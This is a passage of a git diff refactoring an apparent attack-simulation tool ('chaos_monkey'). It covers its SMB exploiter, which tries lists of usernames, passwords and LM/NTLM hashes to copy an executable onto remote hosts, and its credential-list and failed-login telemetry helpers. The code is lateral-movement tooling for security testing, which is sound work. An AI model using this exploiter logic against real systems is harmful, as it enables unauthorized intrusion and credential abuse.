ntlm_hash} + for user, password, lm_hash, ntlm_hash in creds] + # Add empty credentials for anonymous shares. - credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}) - for user, password, lm_hash, ntlm_hash in creds: - credentials_list.append( - {'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) - - return credentials_list + return creds def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 5c316ba99..98aeaf24e 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -21,7 +21,7 @@ except ImportError as exc: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' - sys.exit(1) + raise LOG = getLogger(__name__) @@ -64,10 +64,10 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.get_exploit_user_password_or_hash_product() + creds = self._config.get_exploit_user_password_or_hash_product() exploited = False - for user, password, lm_hash, ntlm_hash in user_password_pairs: + for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index bde32691d..bdb97d975 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -479,9 +479,9 @@ def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_ telemetry_dict =\ {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password} - if lm_hash != '': + if lm_hash: telemetry_dict['lm_hash'] = lm_hash - if ntlm_hash != '': + if ntlm_hash: telemetry_dict['ntlm_hash'] = ntlm_hash ControlClient.send_telemetry('exploit', telemetry_dict)